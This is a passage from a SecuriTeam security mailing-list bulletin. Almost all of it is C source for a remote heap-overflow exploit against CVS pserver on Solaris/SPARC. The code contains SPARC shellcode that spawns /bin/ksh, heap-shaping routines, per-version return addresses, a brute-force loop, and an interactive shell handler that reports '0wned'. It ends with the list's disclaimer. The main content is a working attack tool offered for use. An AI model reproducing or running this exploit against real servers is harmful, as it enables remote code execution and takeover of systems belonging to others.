      174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
      207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
      192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
      227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
      182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
      243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
     
     char * scramble(char * str)
     {
         int i;
         char * s;
     
         if (is_scramble)
             return (str);
         s = (char *) malloc (strlen (str) + 3);
         memset(s, '\0', strlen(str) + 3);
         *s = 'A';
         for (i = 1; str[i - 1]; i++)
             s[i] = shifts[(unsigned char)(str[i - 1])];
         return (s);
     }
     
     int sh(int sockfd)
     {
         int cnt;
         char buf[1024];
         fd_set fds;
     
         write(sockfd, CMD, strlen(CMD));
         while(1)
             {
                 FD_ZERO(&fds);
                 FD_SET(0, &fds);
                 FD_SET(sockfd, &fds);
                 if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
                     {
                         if(FD_ISSET(0, &fds))
                             {
                                 if((cnt = read(0, buf, 1024)) < 1)
                                     {
                                         if(errno == EWOULDBLOCK || errno ==
    EAGAIN)
                                             continue;

                                         else
                                             break;
                                     }
                                 write(sockfd, buf, cnt);
                             }
                         if(FD_ISSET(sockfd, &fds))
                             {
                                 if((cnt = read(sockfd, buf, 1024)) < 1)
                                     {
                                         if(errno == EWOULDBLOCK || errno ==
    EAGAIN)
                                             continue;

                                         else
                                             break;
                                     }
                                 write(1, buf, cnt);
                             }
                     }
             }
         exit(0);
     }

    Exploit Solaris:
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <stdarg.h>
    #include <netdb.h>
    #include <errno.h>
    #include <sys/time.h>
    #include <fcntl.h>
    #include <zlib.h>
     
    #define CVS_PORT 2401
    #define RET 0xffbffd20
    #define NOP 0x82102017
    #define ROUND(s) if (s % word_size) s += (word_size - (s % word_size))
     
     unsigned char *root;
     unsigned char *user;
     unsigned char *pass;
     unsigned char *scrambled;
     unsigned char *reposit;
     unsigned char *directory;
     unsigned char buf[512];
     unsigned char *host;
     unsigned int rport, port;
     unsigned int target;
     z_stream zout;
     z_stream zin;
     unsigned char zbuf[65536 * 4];
     unsigned int zbufpos, zsent = 0;
     unsigned int word_size = 8, fill_size;
     unsigned int len1, len2, len3;
     unsigned int oflip, change, retaddr;
     
     char entry1[64], entry2[64], entry3[64];
     
     struct expl {
         char *name;
             unsigned int retadd;
     } serve[] = {
     { "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
     { "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
     { "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
     { "Crash server", 0x41414141},
     { "Crash server 2", 0x77777777},
     { "Stack ret test", 0xffbffd20},
     { "Heap ret test", 0x00031337},
     { NULL, 0}
     };
     
     char shellcode[]=
       "\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0
       "\xa0\x14\x23\x61" // or %l0, 0x361, %l0
       "\x90\x10\x20\x01" // mov 1, %o0
       "\x92\x0b\x80\x0e" // and %sp, %sp, %o1
       "\x94\x10\x20\x04" // mov 4, %o2
       "\x82\x10\x20\x04" // mov 4, %g1
       "\x91\xd0\x20\x08" // ta 8
     /* lsd shellcode. */
       "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
       "\x20\xbf\xff\xff" /* bn,a <shellcode> */
       "\x7f\xff\xff\xff" /* call <shellcode+4> */
       "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
       "\x92\x02\x20\x10" /* add %o0,16,%o1 */
       "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
       "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
       "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
       "\x82\x10\x20\x0b" /* mov 0xb,%g1 */
       "\x91\xd0\x20\x08" /* ta 8 */
       "/bin/ksh";
     
     char *scramble(char * str);
     
     void handler(int sig)
     {
       signal(SIGPIPE, handler);
     }
     
     /*
     * This function reads from socket s until either max bytes are read,
     * a newline is read, or timeout seconds elapse with no data over the
     * socket.
     * return values:
     * -2: timeout
     * -1: error
     * 0: connection closed
     * x: normal success, x bytes read
     */
     int timeout_read(int s, char *buf, int max, int timeout)
     {
       int total = 0;
       int r = 0;
       int s_flags;
       char c;
       struct timeval to;
       fd_set rset;
       
       memset(&to, '\0', sizeof(to));
       to.tv_sec = timeout;
       to.tv_usec = 0;
       
       s_flags = fcntl(s, F_GETFL, 0);
       fcntl(s, F_SETFL, s_flags | O_NONBLOCK);
     
       while(total < max)
       {
     FD_ZERO(&rset);
     FD_SET(s, &rset);
     select(s + 1, &rset, NULL, NULL, &to);
     
     if (FD_ISSET(s, &rset))
     {
       r = read(s, &c, 1);
       total += r;
     
       if(r == -1)
       {
     if (errno != EWOULDBLOCK)
     {
       fcntl(s, F_SETFL, s_flags);
       return -1;
     }
     else
       continue;
       }
       else if(r == 0)
       {
     fcntl(s, F_SETFL, s_flags);
     return 0;
       }
       else /* r == 1 */
       {
     buf[total-1] = c;
     if(c == '\n')
       break;
       }
       
     }
     else
     {
       fcntl(s, F_SETFL, s_flags);
       return -2;
     }
       }
       
       fcntl(s, F_SETFL, s_flags);
       return total;
     }
     
     void zflush(int sockfd)
     {
       static char outbuf[65536];
     
       zout.next_in = zbuf;
       zout.avail_in = zbufpos;
     
       do {
         zout.next_out = outbuf;
         zout.avail_out = sizeof(outbuf);
         if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
         {
     printf("[--] Compression error.\n");
     exit(1);
     }
         zsent += sizeof(outbuf) - zout.avail_out;
         write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
       } while (zout.avail_in != 0);
     
       zbufpos = 0;
     
       return;
     }
     
     int zwrite(char *buf, int len, int sockfd)
     {
       if ((sizeof(zbuf) - zbufpos) < (len))
         zflush(sockfd);
     
       memcpy(zbuf + zbufpos, buf, len);
       zbufpos += len;
     
       if (zbufpos >= sizeof(zbuf))
       {
     printf("[--] zwrite compression error.\n");
     exit(1);
       }
     
       return (len);
     }
     
     int zgetch(int sockfd)
     {
       static char * outbuf = NULL;
       static int outpos = 0, outlen = 0;
       static char rcvbuf[32768];
       static char dbuf[4096];
       int got;
     
      retry:
       if (outpos < outlen && outlen)
         return outbuf[outpos++];
       free(outbuf);
       outlen = 0;
       outbuf = NULL;
       got = read(sockfd, rcvbuf, sizeof(rcvbuf));
       if (got <= 0)
       {
     printf("[--] Socket error.\n");
     exit(1);
       }
       zin.next_in = rcvbuf;
       zin.avail_in = got;
       while (1)
         {
          int status, dlen;
     
           zin.next_out = dbuf;
           zin.avail_out = sizeof(dbuf);
           status = inflate(&zin, Z_PARTIAL_FLUSH);
           switch (status)
             {
             case Z_OK:
               outpos = 0;
               dlen = sizeof(dbuf) - zin.avail_out;
               outlen += dlen;
               outbuf = realloc(outbuf, outlen);
               memcpy(outbuf + outlen - dlen, dbuf, dlen);
               break;
             case Z_BUF_ERROR:
               goto retry;
             default:
               printf("[--] Revc inflate error.\n");
             }
         }
     }
     
     char *zgets(int sockfd)
     {
       static char buf[32768];
       char * p = buf;
       int c;
     
       while (1)
         {
           c = zgetch(sockfd);
           if (c == '\n')
             break;
           *p++ = c;
           if (p > buf + sizeof(buf))
             {
               p--;
               break;
             }
         }
       *p = 0;
       return (buf);
     }
     
     int do_compression(int s)
     {
     char buf[3000];
     int term = 0, i = 0;
     
     deflateInit(&zout, 1);
         inflateInit(&zin);
     
     memset(buf, 0x0, 300);
     sprintf(buf, "Gzip-stream 1\n");
     
     write(s, buf, strlen(buf));
     }
     
     int do_auth(int s)
     {
     char* str = malloc(50000);
         if(str == 0)
         {
           perror("malloc");
           exit(1);
         }
     strcpy(str, "BEGIN AUTH REQUEST");
     strncat(str, "\n", 1);
     strncat(str, reposit, strlen(reposit));
     strncat(str, "\n", 1);
     strncat(str, user, strlen(user));
     strncat(str, "\n", 1);
     scrambled = scramble(pass);
     strncat(str, scrambled, strlen(scrambled));
     strncat(str, "\n", 1);
     strncat(str, "END AUTH REQUEST", 16);
     strncat(str, "\n", 1);
     write(s, str, strlen(str));
     free(str);
     
     return 0;
     }
     
     int do_root(int s)
     {
     char* str = malloc(5000);
     
         bzero(str, 5000);
     strncat(str, "Root ", 5);
     strncat(str, root, strlen(root));
     strncat(str, "\n", 1);
     write(s, str, strlen(str));
     free(str);
     
     return 0;
     }
     
     int do_sized_entry(int s, char *e1, char *e2, int size)
     {
     char *str = malloc(size * 2);
     char *tmp = malloc(size);
     int x = 0;
     int term = 0;
     
     if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
     {
     return;
     }
     
     bzero(str, size*2);
     bzero(tmp, size);
     sprintf(tmp, "Entry /%s/%s/", e1, e2);
     strcat(str, tmp);
     term = strlen(str);
     
     x = term;
     while(x < (size - 1))
           str[x++] = 0xff;
     
     strcat(str, "\n");
     
     str[term] = 0;
     
     write(s, str, size);
     free(str);
     
     return(0);
     }
     
     int normalize_heap(int sockfd)
     {
     int i;
     char buff[8192 + 128];
     
     memset(buff, 0x0, 8192 + 128);
     memset(buff, 0x62, 8190);
     memcpy(buff, "Argument ", 9);
     strcat(buff, "\n");
     buff[72] = 0;
     
     for( i = 0 ; i < 128 ; i++)
     {
     write(sockfd, buff, 8191);
     }
     
     memset(buff, 0x0, 8192 + 128);
     memset(buff, 0x62, 8190);
     memcpy(buff, "Argument ", 9);
     strcat(buff, "\n");
     buff[65] = 0;
     
     for(i = 0 ; i < 64 ; i++)
     {
     write(sockfd, buff, 8191);
     }
     
     memset(buff, 0x0, 8192 + 128);
         memset(buff, 0x62, 8190);
         memcpy(buff, "Argument ", 9);
         strcat(buff, "\n");
     buff[44] = 0;
     
     for(i = 0 ; i < 32 ; i++)
     {
     write(sockfd, buff, 8191);
     }
     memset(buff, 0x0, 8192 + 128);
         memset(buff, 0xff, 8193);
         memcpy(buff, "Argument ", 9);
         strcat(buff, "\n");
     
     write(sockfd, buff, 8194);
     }
     
     int correctly_fill_hole(int sockfd, int fill)
     {
     int chunk_size, chunk_size2;
     int num_chunks;
     int leftover, i = 0;
     char buf[256];
     char pad[1024];
     char buff[2048];
     unsigned long addr = RET;
     char addrbuf[4096];
     
     chunk_size = (1024 + word_size);
     num_chunks = (fill / chunk_size);
     leftover = (fill % chunk_size);
     
     memset(pad, 0x0, 1024);
     memset(pad, 0x88, ((1024 - 8) / 2));
     memset(buff, 0x0, 2048);
     
         /* The exploit will almost certainly fail if leftover == 0
         * however in theory this should never actually happen.
         */
     if(leftover == 0)
     {
     for(i = 0; i < num_chunks && fill > 0; i++)
     {
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
      fill -= (1024 + word_size);
     }
     }
     else
     {
     for(i = 0; i < (num_chunks -2) && fill > 0; i++)
     {
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
      fill -= (1024 + word_size);
     }
     chunk_size2 = (chunk_size * 2 + leftover);
     ROUND(chunk_size2);
     memset(buff, 0x0, 2048);
     memset(buff, 0xff, (chunk_size2 - 8) / 2);
     memset(addrbuf, 0x0, sizeof(addrbuf));
     for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4)
       *(int *)&addrbuf[i] = htonl(RET);
     
     memcpy(buff+1, addrbuf, strlen(addrbuf));
     do_sized_entry(sockfd, buff, buff, 4096);
     }
     
     memset(buff, 0x0, 2048);
     memset(buff, 0xff, 34);
     
     memset(addrbuf, 0x0, sizeof(addrbuf));
     for(i = 0; i < 28; i+=4)
       *(int *)&addrbuf[i] = htonl(RET);
     
     memcpy(buff+7, addrbuf, strlen(addrbuf));
     
     do_sized_entry(sockfd, buff, buff, 97);
     }
     
     int do_ismodified(int s, char *e1)
     {
     char *str = (char *) malloc(100000);
     int x = 0, term = 0;
     
         bzero(str, 100000);
     
     sprintf(str,"Is-modified %s\n", e1);
     
     zwrite(str, strlen(str), s);
     zflush(s);
     
     free(str);
     
     return 0;
     }
     
     int do_argument(int sockfd)
     {
     char *exp;
     
     exp = (char *) malloc(20000);
     
     memset(exp, 0x0, 20000);
     memset(exp, 0x69, 19680 + strlen("Argument "));
     
     memcpy(exp, "Argument ", strlen("Argument "));
     
     exp[19680 + strlen("Argument ")] = '\n';
     
     write(sockfd, exp, strlen(exp));
     
     return(0);
     }
     
     int do_resize(int sockfd)
     {
     char buffer[256];
     int x = 0;
     memset(buffer, 0x0, 256);
     memset(buffer, 0xff, 255);
     
     buffer[254] = '\n';
     
     memcpy(buffer, "Argumentx ", strlen("Argumentx "));
     
     buffer[74 + 44] = 0;
     
     zwrite(buffer, 255, sockfd);
     zflush(sockfd);
     }
     
     int do_overflow(int sockfd)
     {
     char buffer[20000];
     int i = 0;
     
     memset(buffer, 0x0, 20000);
     memset(buffer, 0x42, 19782);
     
     for(i = 0 ; i < 19780-8; i+=4)
      *(unsigned int *)&buffer[i] = htonl(retaddr);
     
     for(i = 0; i < 19600; i+=4)
          *(unsigned int *)&buffer[i] = htonl(NOP);
     
         memcpy(buffer+19000, shellcode, strlen(shellcode));
     
     memcpy(buffer, "Argument ", strlen("Argument "));
     buffer[19781] = '\012';
     
     zwrite(buffer, 19782, sockfd);
     zflush(sockfd);
     }
     
     int work_around_zlib_bug(int sockfd)
     {
     char buffer[4096];
     char data[64];
     
     memset(data, 0x0, 64);
     memset(data, 0x42, 32);
     
     memset(buffer, 0x0, 4096);
     memset(buffer, 0x42, 4000);
     
     sprintf(buffer, "Entry /%s/%s/", data, data);
     
     buffer[2999] = '\n';
     
     zwrite(buffer, 3000, sockfd);
     zflush(sockfd);
     }
     
     unsigned char auth_shifts[] ={
      0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
      16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
     114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
     111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
      41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
     125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
      36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
      58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
     225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
     199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
     174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
     207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
     192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
     227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
     182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
     243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
     
     char *scramble(char * str)
     {
     int i;
       char * s;
             
       s = (char *) malloc (strlen (str) + 3);
       memset(s, '\0', strlen(str) + 3);
       *s = 'A';
       for (i = 1; str[i - 1]; i++)
         s[i] = auth_shifts[(unsigned char)(str[i - 1])];
       return (s);
     }
     
     int usage(char *name)
     {
     printf("usage: %s [options]\n", name);
         printf("Options:\n");
         printf(" -t Desired target\n");
         printf(" -r CVS root\n");
         printf(" -u CVS user\n");
         printf(" -p Password\n");
         printf(" -h Targeted host\n");
         printf(" -P Port running CVS\n");
           
         printf("\nAvailable targets:\n");
         for (target = 0; serve[target].name != NULL; target++)
         printf("[%i] - %s\n", target, serve[target].name);
         exit(0);
     }
     
     int do_shell(int sockfd)
     {
     while(1)
         {
           fd_set fds;
           FD_ZERO(&fds);
           FD_SET(0,&fds);
           FD_SET(sockfd,&fds);
           if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
           {
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds))
            {
              if((cnt=read(0,buf,1024))<1)
              {
               if(errno==EWOULDBLOCK||errno==EAGAIN)
                continue;
               else
                break;
              }
              write(sockfd,buf,cnt);
            }
            if(FD_ISSET(sockfd,&fds))
            {
              if((cnt=read(sockfd,buf,1024))<1)
              {
                if(errno==EWOULDBLOCK||errno==EAGAIN)
                 continue;
                else
                 break;
              }
              write(1,buf,cnt);
            }
           }
         }
     }
     
     int main(int argc, char *argv[])
     {
     int i, sockfd, len, result,x;
         char c;
     struct sockaddr_in addr;
     struct hostent *hostinfo;
     
     if(argc == 1)
     {
         usage(argv[0]);
         }
     
     port = CVS_PORT;
         while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
         {
         switch(c)
             {
                case 't':
                 target = atoi(optarg);
                 break;
                case 'r':
                 root = strdup(optarg);
                 reposit = strdup(optarg);
                 break;
                case 'u':
                 user = strdup(optarg);
                 break;
                case 'd':
                 directory = strdup(optarg);
                 break;
                case 'p':
                 pass = strdup(optarg);
                 break;
                case 'h':
                 host = strdup(optarg);
                 break;
                default:
         usage(argv[0]);
        }
     }
     
     hostinfo = gethostbyname(host);
     if(!hostinfo)
     {
     perror("gethostbyname()");
     exit(0);
     }
     
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     
     addr.sin_family = AF_INET;
     addr.sin_port = htons(port);
     addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
     len = sizeof(addr);
     
     printf("Attacking %s running %s\n", host, serve[target].name);
     printf("[");
     fflush(stdout);
     
     retaddr = serve[target].retadd;
     
       while(1)
       {
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     result = connect(sockfd, (struct sockaddr *)&addr, len);
     if(result == -1)
     {
     perror("connect()");
     exit(0);
     }
     
     do_auth(sockfd);
     timeout_read(sockfd, buf, sizeof(buf)-1, 3);
     do_root(sockfd);
     
     normalize_heap(sockfd);
     
     do_argument(sockfd);
         
         fill_size = 19680;
     
     memset(entry1, 0x41, 60);
     memset(entry2, 0x42, 60);
     memset(entry3, 0x43, 60);
     
     do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
         fill_size -= (128 + word_size);
         do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
         fill_size -= (128 + word_size);
         do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
         fill_size -= (128 + word_size);
       
     correctly_fill_hole(sockfd, fill_size - (64 + word_size));
        
     do_compression(sockfd);
     
     len1 = ( 5 + 4 + 16);
         len2 = ( 144 + 8 + 5 + 1);
     len3 = ( 144 + 8 + 128 + 8 + 5 + 0);
     
     for(i = 0; i < len1; i++)
           do_ismodified(sockfd, entry1);
     
     for(i = 0; i < len2; i++)
           do_ismodified(sockfd, entry2);
     
     for(i = 0; i < len3; i++)
           do_ismodified(sockfd, entry3);
     
     work_around_zlib_bug(sockfd);
     
     do_resize(sockfd);
     
         do_overflow(sockfd);
     
     printf(".");
     fflush(stdout);
     
     while(1)
     {
       result = timeout_read(sockfd, buf, 4, 5);
       if(result == -1 || result == 0)
       {
     break;
       }
        if(result == -2)
       {
     printf("\n Timeout... trying for shell\n");
     do_shell(sockfd);
     break;
       }
     /* Maybe use strstr and a larger read buffer here ? */
       if(strncmp(buf, "caca", 4) == 0)
       {
     printf("]\n");
     printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
     do_shell(sockfd);
     exit(0);
       }
     }
     
     change += 12000;
     
         if(oflip == 0)
         {
           retaddr = serve[target].retadd + change;
           oflip = 1;
         }
         else if(oflip == 1)
         {
           retaddr = serve[target].retadd - change;
           oflip = 0;
         }
     
     close(sockfd);
       }
     }

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Allegro RomPager DoS Exploit"
  • Quantcast